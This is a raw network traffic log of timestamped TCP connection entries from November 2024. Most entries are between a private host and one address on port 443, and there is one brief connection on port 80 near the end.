Nov 20, 2024 16:51:56.517354965 CET	443	49879	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:56.517414093 CET	49879	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:56.517457008 CET	49879	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:56.517472982 CET	443	49879	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:56.517482996 CET	49879	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:56.517488003 CET	443	49879	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:56.521681070 CET	49887	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:56.521713018 CET	443	49887	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:56.521795034 CET	49887	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:56.522267103 CET	49887	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:56.522281885 CET	443	49887	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:57.929522038 CET	443	49883	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:57.930057049 CET	49883	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:57.930078983 CET	443	49883	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:57.930537939 CET	49883	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:57.930542946 CET	443	49883	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:57.983673096 CET	443	49884	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:57.984107018 CET	49884	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:57.984148026 CET	443	49884	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:57.984533072 CET	49884	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:57.984540939 CET	443	49884	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.256140947 CET	443	49885	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.256707907 CET	49885	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.256721020 CET	443	49885	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.257158041 CET	49885	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.257162094 CET	443	49885	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.295975924 CET	443	49886	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.296293974 CET	49886	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.296320915 CET	443	49886	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.296641111 CET	49886	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.296648026 CET	443	49886	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.375644922 CET	443	49887	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.376182079 CET	49887	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.376194000 CET	443	49887	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.376569986 CET	49887	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.376574993 CET	443	49887	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.378484011 CET	443	49883	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.378554106 CET	443	49883	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.378606081 CET	49883	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.378717899 CET	49883	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.378735065 CET	443	49883	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.378746033 CET	49883	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.378751040 CET	443	49883	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.381232023 CET	49888	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.381283998 CET	443	49888	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.381378889 CET	49888	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.381521940 CET	49888	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.381536007 CET	443	49888	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.429245949 CET	443	49884	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.429316998 CET	443	49884	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.429363966 CET	49884	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.429456949 CET	49884	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.429476023 CET	443	49884	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.429487944 CET	49884	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.429496050 CET	443	49884	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.431499958 CET	49889	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.431605101 CET	443	49889	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.431813002 CET	49889	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.431952953 CET	49889	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.431996107 CET	443	49889	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.718977928 CET	443	49885	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.719160080 CET	443	49885	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.719228029 CET	49885	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.719305038 CET	49885	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.719326973 CET	443	49885	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.719337940 CET	49885	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.719343901 CET	443	49885	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.722100973 CET	49890	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.722151995 CET	443	49890	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.722238064 CET	49890	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.722388029 CET	49890	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.722398996 CET	443	49890	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.742876053 CET	443	49886	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.742959976 CET	443	49886	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.743014097 CET	49886	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.743232965 CET	49886	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.743232965 CET	49886	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.743251085 CET	443	49886	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.743258953 CET	443	49886	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.745250940 CET	49891	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.745341063 CET	443	49891	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.745423079 CET	49891	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.745517969 CET	49891	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.745552063 CET	443	49891	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.828376055 CET	443	49887	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.828538895 CET	443	49887	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.828610897 CET	49887	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.828627110 CET	49887	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.828634024 CET	443	49887	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.828640938 CET	49887	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.828644991 CET	443	49887	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.830467939 CET	49892	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.830504894 CET	443	49892	13.107.246.63	192.168.2.9
Nov 20, 2024 16:51:58.830574036 CET	49892	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.830710888 CET	49892	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:51:58.830720901 CET	443	49892	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.104044914 CET	443	49888	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.104646921 CET	49888	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.104684114 CET	443	49888	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.105114937 CET	49888	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.105120897 CET	443	49888	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.212129116 CET	443	49889	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.212934017 CET	49889	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.213001966 CET	443	49889	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.213372946 CET	49889	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.213392019 CET	443	49889	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.457616091 CET	443	49890	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.458144903 CET	49890	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.458178043 CET	443	49890	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.458746910 CET	49890	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.458751917 CET	443	49890	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.542367935 CET	443	49888	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.542444944 CET	443	49888	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.542521000 CET	49888	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.542697906 CET	49888	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.542715073 CET	443	49888	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.542723894 CET	49888	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.542730093 CET	443	49888	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.545779943 CET	49893	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.545831919 CET	443	49893	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.545926094 CET	49893	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.546094894 CET	49893	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.546108961 CET	443	49893	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.606213093 CET	443	49891	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.606724977 CET	49891	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.606801033 CET	443	49891	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.607336044 CET	49891	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.607352972 CET	443	49891	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.625999928 CET	443	49892	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.626313925 CET	49892	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.626344919 CET	443	49892	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.626789093 CET	49892	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.626795053 CET	443	49892	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.657443047 CET	443	49889	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.657514095 CET	443	49889	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.657577038 CET	49889	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.657710075 CET	49889	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.657710075 CET	49889	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.657748938 CET	443	49889	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.657773018 CET	443	49889	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.660442114 CET	49894	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.660480976 CET	443	49894	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.660567045 CET	49894	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.660696983 CET	49894	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.660710096 CET	443	49894	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.891275883 CET	443	49890	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.891376972 CET	443	49890	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.891452074 CET	49890	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.891614914 CET	49890	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.891614914 CET	49890	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.891648054 CET	443	49890	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.891665936 CET	443	49890	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.894916058 CET	49895	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.894970894 CET	443	49895	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:00.895071030 CET	49895	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.895230055 CET	49895	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:00.895248890 CET	443	49895	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.064295053 CET	443	49891	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.064363003 CET	443	49892	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.064378977 CET	443	49891	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.064459085 CET	49891	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.064544916 CET	443	49892	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.064583063 CET	49892	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.067229986 CET	49891	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.067229986 CET	49891	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.067298889 CET	443	49891	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.067343950 CET	443	49891	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.068424940 CET	49892	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.068447113 CET	443	49892	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.068460941 CET	49892	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.068469048 CET	443	49892	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.071024895 CET	49896	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.071064949 CET	443	49896	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.071135044 CET	49896	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.072026014 CET	49897	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.072055101 CET	443	49897	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.072113037 CET	49897	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.072397947 CET	49896	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.072413921 CET	443	49896	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:01.072846889 CET	49897	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:01.072863102 CET	443	49897	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.334384918 CET	443	49893	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.335922956 CET	49893	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.335942984 CET	443	49893	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.336378098 CET	49893	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.336381912 CET	443	49893	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.490756989 CET	443	49894	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.517158031 CET	49894	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.517169952 CET	443	49894	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.518054008 CET	49894	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.518059015 CET	443	49894	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.613929033 CET	443	49895	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.614516020 CET	49895	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.614548922 CET	443	49895	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.615668058 CET	49895	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.615675926 CET	443	49895	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.782408953 CET	443	49893	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.782649040 CET	443	49893	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.785835981 CET	49893	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.789319038 CET	49893	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.789341927 CET	443	49893	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.789359093 CET	49893	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.789366961 CET	443	49893	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.804053068 CET	443	49897	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.831643105 CET	49898	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.831672907 CET	443	49898	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.831845999 CET	49898	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.834489107 CET	49897	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.834511042 CET	443	49897	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.843132973 CET	49897	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.843137980 CET	443	49897	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.846436977 CET	49898	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.846470118 CET	443	49898	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.938920975 CET	443	49894	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.939099073 CET	443	49894	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.939158916 CET	49894	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.939224958 CET	49894	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.939245939 CET	443	49894	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.939332962 CET	49894	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.939340115 CET	443	49894	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.942276955 CET	49899	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.942307949 CET	443	49899	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.942389965 CET	49899	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.942601919 CET	49899	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.942615032 CET	443	49899	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.954072952 CET	443	49896	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.954566002 CET	49896	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.954588890 CET	443	49896	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:02.955169916 CET	49896	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:02.955177069 CET	443	49896	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.062768936 CET	443	49895	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.062853098 CET	443	49895	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.062982082 CET	49895	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.063076019 CET	49895	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.063095093 CET	443	49895	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.063119888 CET	49895	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.063127041 CET	443	49895	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.065972090 CET	49900	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.066010952 CET	443	49900	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.066102982 CET	49900	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.066323996 CET	49900	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.066337109 CET	443	49900	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.260301113 CET	443	49897	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.260488033 CET	443	49897	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.260585070 CET	49897	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.260613918 CET	49897	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.260615110 CET	49897	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.260632992 CET	443	49897	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.260643005 CET	443	49897	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.263714075 CET	49901	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.263742924 CET	443	49901	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.263861895 CET	49901	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.264039993 CET	49901	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.264055967 CET	443	49901	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.416044950 CET	443	49896	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.416229010 CET	443	49896	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.416290998 CET	49896	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.416712999 CET	49896	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.416734934 CET	443	49896	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.416748047 CET	49896	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.416754961 CET	443	49896	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.419895887 CET	49902	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.419948101 CET	443	49902	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:03.420094013 CET	49902	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.420273066 CET	49902	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:03.420289993 CET	443	49902	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.400331974 CET	49903	80	192.168.2.9	185.215.113.43
Nov 20, 2024 16:52:04.411180973 CET	443	49898	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.411995888 CET	49898	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.412034988 CET	443	49898	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.413511038 CET	49898	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.413522959 CET	443	49898	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.519844055 CET	80	49903	185.215.113.43	192.168.2.9
Nov 20, 2024 16:52:04.519931078 CET	49903	80	192.168.2.9	185.215.113.43
Nov 20, 2024 16:52:04.520163059 CET	49903	80	192.168.2.9	185.215.113.43
Nov 20, 2024 16:52:04.640275955 CET	80	49903	185.215.113.43	192.168.2.9
Nov 20, 2024 16:52:04.729743958 CET	443	49899	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.730389118 CET	49899	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.730410099 CET	443	49899	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.730895042 CET	49899	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.730901957 CET	443	49899	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.845787048 CET	443	49898	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.845860958 CET	443	49898	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.846229076 CET	49898	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.846455097 CET	49898	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.846472025 CET	443	49898	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.846486092 CET	49898	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.846491098 CET	443	49898	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.849163055 CET	49904	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.849212885 CET	443	49904	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.849369049 CET	49904	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.849473000 CET	49904	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.849487066 CET	443	49904	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.944175005 CET	443	49900	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.944870949 CET	49900	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.944886923 CET	443	49900	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.945465088 CET	49900	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.945468903 CET	443	49900	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.993880033 CET	443	49901	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.994766951 CET	49901	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.994791031 CET	443	49901	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:04.995524883 CET	49901	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:04.995532990 CET	443	49901	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.175668001 CET	443	49899	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.175729990 CET	443	49899	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.175934076 CET	49899	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.176075935 CET	49899	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.176075935 CET	49899	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.176098108 CET	443	49899	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.176110029 CET	443	49899	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.179424047 CET	49905	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.179465055 CET	443	49905	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.179557085 CET	49905	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.179702044 CET	49905	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.179714918 CET	443	49905	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.202241898 CET	443	49902	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.206640005 CET	49902	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.206666946 CET	443	49902	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.207134008 CET	49902	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.207143068 CET	443	49902	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.397697926 CET	443	49900	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.397775888 CET	443	49900	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.398037910 CET	49900	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.398082972 CET	49900	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.398082972 CET	49900	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.398103952 CET	443	49900	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.398113966 CET	443	49900	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.400978088 CET	49906	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.401026011 CET	443	49906	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.401125908 CET	49906	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.401384115 CET	49906	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.401401043 CET	443	49906	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.432266951 CET	443	49901	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.432339907 CET	443	49901	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.432414055 CET	49901	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.432624102 CET	49901	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.432648897 CET	443	49901	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.432662964 CET	49901	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:52:05.432672977 CET	443	49901	13.107.246.63	192.168.2.9
Nov 20, 2024 16:52:05.435519934 CET	49907	443	192.168.2.9	13.107.246.63
